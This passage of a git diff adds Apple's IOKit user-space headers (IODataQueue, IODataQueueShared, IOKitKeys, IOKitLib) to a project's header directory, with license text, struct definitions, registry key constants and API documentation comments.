copies it into the given data pointer. + * @discussion This function will dequeue the next available entry on the queue. If a data pointer is provided, it will copy the data into the memory region if there is enough space available as specified in the dataSize parameter. If no data pointer is provided, it will simply move the head value past the current entry. + * @param dataQueue The IODataQueueMemory region mapped from the kernel. + * @param data A pointer to the data memory region in which to copy the next entry data on the queue. If this parameter is 0 (NULL), it will simply move to the next entry. + * @param dataSize A pointer to the size of the data parameter. On return, this contains the size of the actual entry data - even if the original size was not large enough. + * @result Returns kIOReturnSuccess on success. Other return values possible are: kIOReturnUnderrun - queue is empty, kIOReturnBadArgument - no dataQueue or no dataSize, kIOReturnNoSpace - dataSize is too small for entry. + */ +IOReturn IODataQueueDequeue(IODataQueueMemory *dataQueue, void *data, uint32_t *dataSize); + +/*! + * @function IODataQueueWaitForAvailableData + * @abstract Wait for an incoming dataAvailable message on the given notifyPort. + * @discussion This method will simply wait for an incoming message on the given notifyPort. Once it is received, the return from mach_msg() is returned. + * @param dataQueue The IODataQueueMemory region mapped from the kernel. + * @param notifyPort Mach port on which to listen for incoming messages. + * @result Returns kIOReturnSuccess on success. Returns kIOReturnBadArgument if either dataQueue is 0 (NULL) or notiryPort is MACH_PORT_NULL. Returns the result of the mach_msg() listen call on the given port. + */ +IOReturn IODataQueueWaitForAvailableData(IODataQueueMemory *dataQueue, mach_port_t notificationPort); + +/*! + * @function IODataQueueAllocateNotificationPort + * @abstract Allocates and returns a new mach port able to receive data available notifications from an IODataQueue. + * @discussion This port is intended to be passed down into the kernel and into an IODataQueue to allow it to send the appropriate notification. The returned mach port is allocated with a queue limit of one message. This allows only one mach message to be queued up at a time. The IODataQueue code is written with the restriction in mind and will only queue up a message if no messages alread have been sent. + * @result Returns a newly allocated mach port on success. On failure, it returns MACH_PORT_NULL. + */ +mach_port_t IODataQueueAllocateNotificationPort(); + +/*! + * @function IODataQueueEnqueue + * @abstract Enqueues a new entry on the queue. + * @discussion This method adds a new data entry of dataSize to the queue. It sets the size parameter of the entry pointed to by the tail value and copies the memory pointed to by the data parameter in place in the queue. Once that is done, it moves the tail to the next available location. When attempting to add a new entry towards the end of the queue and there isn't enough space at the end, it wraps back to the beginning.
If the queue is empty when a new entry is added, the port specified in IODataQueueSetNotificationPort will be used to send a message to the client process that data is now available.
Please note that using this method without mapped memory create from an IOSharedDataQueue will result in undefined behavior. + * @param dataQueue The IODataQueueMemory region mapped from the kernel created from an IOSharedDataQueue. + * @param data Pointer to the data to be added to the queue. + * @param dataSize Size of the data pointed to by data. + * @result Returns kIOReturnSuccess on success. Other return values possible are: kIOReturnOverrun - queue is full. + */ +IOReturn IODataQueueEnqueue(IODataQueueMemory *dataQueue, void *data, uint32_t dataSize) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + * @function IODataQueueSetNotificationPort + * @abstract Creates a simple mach message targeting the mach port specified in port. + * @discussion This message is sent when data is added to an empty queue. It is to notify another user process that new data has become available. Please note that using this method without mapped memory create from an IOSharedDataQueue will result in undefined behavior. + * @param dataQueue The IODataQueueMemory region mapped from the kernel created from an IOSharedDataQueue. + * @param notifyPort The mach port to target with the notification message. + * @result Returns kIOReturnSuccess on success. Returns kIOReturnBadArgument if either dataQueue is 0 (NULL). + */ +IOReturn IODataQueueSetNotificationPort(IODataQueueMemory *dataQueue, mach_port_t notifyPort) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +__END_DECLS + +#endif /* _IOKITUSER_IODATAQUEUE_H */ diff --git a/igor/headers/IOKit/IODataQueueShared.h b/igor/headers/IOKit/IODataQueueShared.h new file mode 100644 index 0000000..2fa0e9a --- /dev/null +++ b/igor/headers/IOKit/IODataQueueShared.h @@ -0,0 +1,92 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ + +#ifndef _IOKIT_IODATAQUEUESHARED_H +#define _IOKIT_IODATAQUEUESHARED_H + +#include +#include +#include + +/*! + * @typedef IODataQueueEntry + * @abstract Represents an entry within the data queue + * @discussion This is a variable sized struct. The data field simply represents the start of the data region. The size of the data region is stored in the size field. The whole size of the specific entry is the size of a UInt32 plus the size of the data region. + * @field size The size of the following data region. + * @field data Represents the beginning of the data region. The address of the data field is a pointer to the start of the data region. + */ +typedef struct _IODataQueueEntry{ + UInt32 size; + UInt8 data[4]; +} IODataQueueEntry; + +/*! + * @typedef IODataQueueMemory + * @abstract A struct mapping to the header region of a data queue. + * @discussion This struct is variable sized. The struct represents the data queue header information plus a pointer to the actual data queue itself. The size of the struct is the combined size of the header fields (3 * sizeof(UInt32)) plus the actual size of the queue region. This size is stored in the queueSize field. + * @field queueSize The size of the queue region pointed to by the queue field. + * @field head The location of the queue head. This field is represented as a byte offset from the beginning of the queue memory region. + * @field tail The location of the queue tail. This field is represented as a byte offset from the beginning of the queue memory region. + * @field queue Represents the beginning of the queue memory region. The size of the region pointed to by queue is stored in the queueSize field. + */ +typedef struct _IODataQueueMemory { + UInt32 queueSize; + volatile UInt32 head; + volatile UInt32 tail; + IODataQueueEntry queue[1]; +} IODataQueueMemory; + +/*! + * @typedef IODataQueueAppendix + * @abstract A struct mapping to the appendix region of a data queue. + * @discussion This struct is variable sized dependent on the version. The struct represents the data queue appendix information. + * @field version The version of the queue appendix. + * @field port The notification port associated with this queue. + */ +typedef struct _IODataQueueAppendix { + UInt32 version; + mach_msg_header_t msgh; +} IODataQueueAppendix; + +/*! + * @defined DATA_QUEUE_ENTRY_HEADER_SIZE Represents the size of the data queue entry header independent of the actual size of the data in the entry. This is the overhead of each entry in the queue. The total size of an entry is equal to this value plus the size stored in the entry's size field (in IODataQueueEntry). + */ +#define DATA_QUEUE_ENTRY_HEADER_SIZE (sizeof(IODataQueueEntry) - 4) + +/*! + * @defined DATA_QUEUE_MEMORY_HEADER_SIZE Represents the size of the data queue memory header independent of the actual size of the queue data itself. The total size of the queue memory is equal to this value plus the size of the queue appendix and the size of the queue data region which is stored in the queueSize field of IODataQueueMeory. + */ +#define DATA_QUEUE_MEMORY_HEADER_SIZE (sizeof(IODataQueueMemory) - sizeof(IODataQueueEntry)) + +/*! + * @defined DATA_QUEUE_MEMORY_APPENDIX_SIZE Represents the size of the data queue memory appendix independent of the actual size of the queue data itself. The total size of the queue memory is equal to this value plus the size of queue header and size of the queue data region which is stored in the queueSize field of IODataQueueMeory. + */ +#define DATA_QUEUE_MEMORY_APPENDIX_SIZE (sizeof(IODataQueueAppendix)) + +#endif /* _IOKIT_IODATAQUEUESHARED_H */ + diff --git a/igor/headers/IOKit/IOKitKeys.h b/igor/headers/IOKit/IOKitKeys.h new file mode 100644 index 0000000..62395d5 --- /dev/null +++ b/igor/headers/IOKit/IOKitKeys.h @@ -0,0 +1,164 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/* + * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. + * + * Common symbol definitions for IOKit. + * + * HISTORY + * + */ + + +#ifndef _IOKIT_IOKITKEYS_H +#define _IOKIT_IOKITKEYS_H + +// properties found in the registry root +#define kIOKitBuildVersionKey "IOKitBuildVersion" +#define kIOKitDiagnosticsKey "IOKitDiagnostics" + // a dictionary keyed by plane name +#define kIORegistryPlanesKey "IORegistryPlanes" +#define kIOCatalogueKey "IOCatalogue" + +// registry plane names +#define kIOServicePlane "IOService" +#define kIOPowerPlane "IOPower" +#define kIODeviceTreePlane "IODeviceTree" +#define kIOAudioPlane "IOAudio" +#define kIOFireWirePlane "IOFireWire" +#define kIOUSBPlane "IOUSB" + +// registry ID number +#define kIORegistryEntryIDKey "IORegistryEntryID" + +// IOService class name +#define kIOServiceClass "IOService" + +// IOResources class name +#define kIOResourcesClass "IOResources" + +// IOService driver probing property names +#define kIOClassKey "IOClass" +#define kIOProbeScoreKey "IOProbeScore" +#define kIOKitDebugKey "IOKitDebug" + +// IOService matching property names +#define kIOProviderClassKey "IOProviderClass" +#define kIONameMatchKey "IONameMatch" +#define kIOPropertyMatchKey "IOPropertyMatch" +#define kIOPathMatchKey "IOPathMatch" +#define kIOLocationMatchKey "IOLocationMatch" +#define kIOParentMatchKey "IOParentMatch" +#define kIOResourceMatchKey "IOResourceMatch" +#define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch" + +#define kIONameMatchedKey "IONameMatched" + +#define kIOMatchCategoryKey "IOMatchCategory" +#define kIODefaultMatchCategoryKey "IODefaultMatchCategory" + +// IOService default user client class, for loadable user clients +#define kIOUserClientClassKey "IOUserClientClass" + +// key to find IOMappers +#define kIOMapperIDKey "IOMapperID" + +#define kIOUserClientCrossEndianKey "IOUserClientCrossEndian" +#define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible" +#define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance" +// diagnostic string describing the creating task +#define kIOUserClientCreatorKey "IOUserClientCreator" + +// IOService notification types +#define kIOPublishNotification "IOServicePublish" +#define kIOFirstPublishNotification "IOServiceFirstPublish" +#define kIOMatchedNotification "IOServiceMatched" +#define kIOFirstMatchNotification "IOServiceFirstMatch" +#define kIOTerminatedNotification "IOServiceTerminate" + +// IOService interest notification types +#define kIOGeneralInterest "IOGeneralInterest" +#define kIOBusyInterest "IOBusyInterest" +#define kIOAppPowerStateInterest "IOAppPowerStateInterest" +#define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest" + +#define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage" + +// IOService interest notification types +#define kIOCFPlugInTypesKey "IOCFPlugInTypes" + +// properties found in services that implement command pooling +#define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber) + +// properties found in services that have transfer constraints +#define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber) +#define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber) +#define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber) +#define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber) +#define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber) +#define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber) +#define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber) +#define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber) +#define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber) +#define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber) + +// properties found in services that wish to describe an icon +// +// IOIcon = +// { +// CFBundleIdentifier = "com.example.driver.example"; +// IOBundleResourceFile = "example.icns"; +// }; +// +// where IOBundleResourceFile is the filename of the resource + +#define kIOIconKey "IOIcon" // (OSDictionary) +#define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString) + +#define kIOBusBadgeKey "IOBusBadge" // (OSDictionary) +#define kIODeviceIconKey "IODeviceIcon" // (OSDictionary) + +// property of root that describes the machine's serial number as a string +#define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString) + +// property of root that describes the machine's UUID as a string +#define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString) + +// IODTNVRAM property keys +#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" +#define kIODTNVRAMPanicInfoKey "aapl,panic-info" + +// keys for complex boot information +#define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts +#define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString +#define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes + +// keys for OS Version information +#define kOSBuildVersionKey "OS Build Version" + +#endif /* ! _IOKIT_IOKITKEYS_H */ diff --git a/igor/headers/IOKit/IOKitLib.h b/igor/headers/IOKit/IOKitLib.h new file mode 100644 index 0000000..df752a3 --- /dev/null +++ b/igor/headers/IOKit/IOKitLib.h @@ -0,0 +1,1512 @@ +/* + * Copyright (c) 1998-2009 Apple Computer, Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* + * HISTORY + * + */ + +/* + * IOKit user library + */ + +#ifndef _IOKIT_IOKITLIB_H +#define _IOKIT_IOKITLIB_H + +#ifdef KERNEL +#error This file is not for kernel use +#endif + +#include +#include + +#include +#include + +#include +#include +#include + +#include +#include + +#include + +#include + +__BEGIN_DECLS + +/*! @header IOKitLib +IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.
+IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents. +IOKit objects returned by all functions should be released with IOObjectRelease. +*/ +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +typedef struct IONotificationPort * IONotificationPortRef; + + +/*! @typedef IOServiceMatchingCallback + @abstract Callback function to be notified of IOService publication. + @param refcon The refcon passed when the notification was installed. + @param iterator The notification iterator which now has new objects. +*/ +typedef void +(*IOServiceMatchingCallback)( + void * refcon, + io_iterator_t iterator ); + +/*! @typedef IOServiceInterestCallback + @abstract Callback function to be notified of changes in state of an IOService. + @param refcon The refcon passed when the notification was installed. + @param service The IOService whose state has changed. + @param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family. + @param messageArgument An argument for the message, dependent on the messageType. If the message data is larger than sizeof(void*), then messageArgument contains a pointer to the message data; otherwise, messageArgument contains the message data. +*/ + +typedef void +(*IOServiceInterestCallback)( + void * refcon, + io_service_t service, + uint32_t messageType, + void * messageArgument ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/*! @const kIOMasterPortDefault + @abstract The default mach port used to initiate communication with IOKit. + @discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant. +*/ + +extern +const mach_port_t kIOMasterPortDefault; + +/*! @function IOMasterPort + @abstract Returns the mach port used to initiate communication with IOKit. + @discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port. + @param bootstrapPort Pass MACH_PORT_NULL for the default. + @param masterPort The master port is returned. + @result A kern_return_t error code. */ + +kern_return_t +IOMasterPort( mach_port_t bootstrapPort, + mach_port_t * masterPort ); + + +/*! @function IONotificationPortCreate + @abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes. + @discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @result A reference to the notification object. */ + +IONotificationPortRef +IONotificationPortCreate( + mach_port_t masterPort ); + +/*! @function IONotificationPortDestroy + @abstract Destroys a notification object created with IONotificationPortCreate. + @param notify A reference to the notification object. */ + +void +IONotificationPortDestroy( + IONotificationPortRef notify ); + +/*! @function IONotificationPortGetRunLoopSource + @abstract Returns a CFRunLoopSource to be used to listen for notifications. + @discussion A notification object may deliver notifications to a CFRunLoop client by adding the run loop source returned by this function to the run loop. + @param notify The notification object. + @result A CFRunLoopSourceRef for the notification object. */ + +CFRunLoopSourceRef +IONotificationPortGetRunLoopSource( + IONotificationPortRef notify ); + +/*! @function IONotificationPortGetMachPort + @abstract Returns a mach_port to be used to listen for notifications. + @discussion A notification object may deliver notifications to a mach messaging client if they listen for messages on the port obtained from this function. Callbacks associated with the notifications may be delivered by calling IODispatchCalloutFromMessage with messages received + @param notify The notification object. + @result A mach_port for the notification object. */ + +mach_port_t +IONotificationPortGetMachPort( + IONotificationPortRef notify ); + +/*! @function IODispatchCalloutFromMessage + @abstract Dispatches callback notifications from a mach message. + @discussion A notification object may deliver notifications to a mach messaging client, which should call this function to generate the callbacks associated with the notifications arriving on the port. + @param unused Not used, set to zero. + @param msg A pointer to the message received. + @param reference Pass the IONotificationPortRef for the object. */ + +void +IODispatchCalloutFromMessage( + void *unused, + mach_msg_header_t *msg, + void *reference ); + +/*! @function IOCreateReceivePort + @abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type. + @discussion In the future IOKit may use specialized messages and ports + instead of the standard ports created by mach_port_allocate(). Use this + function instead of mach_port_allocate() to ensure compatibility with future + revisions of IOKit. + @param msgType Type of message to be sent to this port + (kOSNotificationMessageID or kOSAsyncCompleteMessageID) + @param recvPort The created port is returned. + @result A kern_return_t error code. */ + +kern_return_t +IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IOObject + */ + +/*! @function IOObjectRelease + @abstract Releases an object handle previously returned by IOKitLib. + @discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel. + @param object The IOKit object to release. + @result A kern_return_t error code. */ + +kern_return_t +IOObjectRelease( + io_object_t object ); + +/*! @function IOObjectRetain + @abstract Retains an object handle previously returned by IOKitLib. + @discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib. + @param object The IOKit object to retain. + @result A kern_return_t error code. */ + +kern_return_t +IOObjectRetain( + io_object_t object ); + +/*! @function IOObjectGetClass + @abstract Return the class name of an IOKit object. + @discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of. + @param object The IOKit object. + @param className Caller allocated buffer to receive the name string. + @result A kern_return_t error code. */ + +kern_return_t +IOObjectGetClass( + io_object_t object, + io_name_t className ); + +/*! @function CFStringRef IOObjectCopyClass + @abstract Return the class name of an IOKit object. + @discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef. + @param object The IOKit object. + @result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/ + +CFStringRef +IOObjectCopyClass(io_object_t object) +AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFStringRef IOObjectCopySuperclassForClass + @abstract Return the superclass name of the given class. + @discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class. + @param classname The name of the class as a CFString. + @result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/ + +CFStringRef +IOObjectCopySuperclassForClass(CFStringRef classname) +AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function CFStringRef IOObjectCopyBundleIdentifierForClass + @abstract Return the bundle identifier of the given class. + @discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier. + @param classname The name of the class as a CFString. + @result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/ + +CFStringRef +IOObjectCopyBundleIdentifierForClass(CFStringRef classname) +AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/*! @function IOObjectConformsTo + @abstract Performs an OSDynamicCast operation on an IOKit object. + @discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass. + @param object An IOKit object. + @param className The name of the class, as a C-string. + @result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */ + +boolean_t +IOObjectConformsTo( + io_object_t object, + const io_name_t className ); + +/*! @function IOObjectIsEqualTo + @abstract Checks two object handles to see if they represent the same kernel object. + @discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object. + @param object An IOKit object. + @param anObject Another IOKit object. + @result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */ + +boolean_t +IOObjectIsEqualTo( + io_object_t object, + io_object_t anObject ); + +/*! @function IOObjectGetKernelRetainCount + @abstract Returns kernel retain count of an IOKit object. + @discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level. + @param object An IOKit object. + @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ + +uint32_t +IOObjectGetKernelRetainCount( + io_object_t object ) +AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER; + +/*! @function IOObjectGetUserRetainCount + @abstract Returns the retain count for the current process of an IOKit object. + @discussion This function may be used in diagnostics to determine the current retain count for the calling process of the kernel object. + @param object An IOKit object. + @result If the object handle is valid, the objects user retain count is returned, otherwise zero is returned. */ + +uint32_t +IOObjectGetUserRetainCount( + io_object_t object ) +AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER; + +/*! @function IOObjectGetRetainCount + @abstract Returns kernel retain count of an IOKit object. Identical to IOObjectGetKernelRetainCount() but available prior to Mac OS 10.6. + @discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level. + @param object An IOKit object. + @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ + +uint32_t +IOObjectGetRetainCount( + io_object_t object ); + + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IOIterator, subclass of IOObject + */ + +/*! @function IOIteratorNext + @abstract Returns the next object in an iteration. + @discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid. + @param iterator An IOKit iterator handle. + @result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */ + +io_object_t +IOIteratorNext( + io_iterator_t iterator ); + +/*! @function IOIteratorReset + @abstract Resets an iteration back to the beginning. + @discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning. + @param iterator An IOKit iterator handle. */ + +void +IOIteratorReset( + io_iterator_t iterator ); + +/*! @function IOIteratorIsValid + @abstract Checks an iterator is still valid. + @discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted. + @param iterator An IOKit iterator handle. + @result True if the iterator handle is valid, otherwise false is returned. */ + +boolean_t +IOIteratorIsValid( + io_iterator_t iterator ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IOService, subclass of IORegistryEntry + */ + +/*! + @function IOServiceGetMatchingService + @abstract Look up a registered IOService object that matches a matching dictionary. + @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. + @result The first service matched is returned on success. The service must be released by the caller. + */ + +io_service_t +IOServiceGetMatchingService( + mach_port_t masterPort, + CFDictionaryRef matching ); + +/*! @function IOServiceGetMatchingServices + @abstract Look up registered IOService objects that match a matching dictionary. + @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. + @param existing An iterator handle is returned on success, and should be released by the caller when the iteration is finished. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceGetMatchingServices( + mach_port_t masterPort, + CFDictionaryRef matching, + io_iterator_t * existing ); + + +kern_return_t +IOServiceAddNotification( + mach_port_t masterPort, + const io_name_t notificationType, + CFDictionaryRef matching, + mach_port_t wakePort, + uintptr_t reference, + io_iterator_t * notification ) DEPRECATED_ATTRIBUTE; + +/*! @function IOServiceAddMatchingNotification + @abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match. + @discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up. + @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate. + @param notificationType A notification type from IOKitKeys.h +
kIOPublishNotification Delivered when an IOService is registered. +
kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed. +
kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started. +
kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed. +
kIOTerminatedNotification Delivered after an IOService has been terminated. + @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. + @param callback A callback function called when the notification fires. + @param refCon A reference constant for the callbacks use. + @param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceAddMatchingNotification( + IONotificationPortRef notifyPort, + const io_name_t notificationType, + CFDictionaryRef matching, + IOServiceMatchingCallback callback, + void * refCon, + io_iterator_t * notification ); + +/*! @function IOServiceAddInterestNotification + @abstract Register for notification of state changes in an IOService. + @discussion IOService objects deliver notifications of their state changes to their clients via the IOService::message API, and to other interested parties including callers of this function. Message type s are defined IOKit/IOMessage.h. + @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate. + @param interestType A notification type from IOKitKeys.h +
kIOGeneralInterest General state changes delivered via the IOService::message API. +
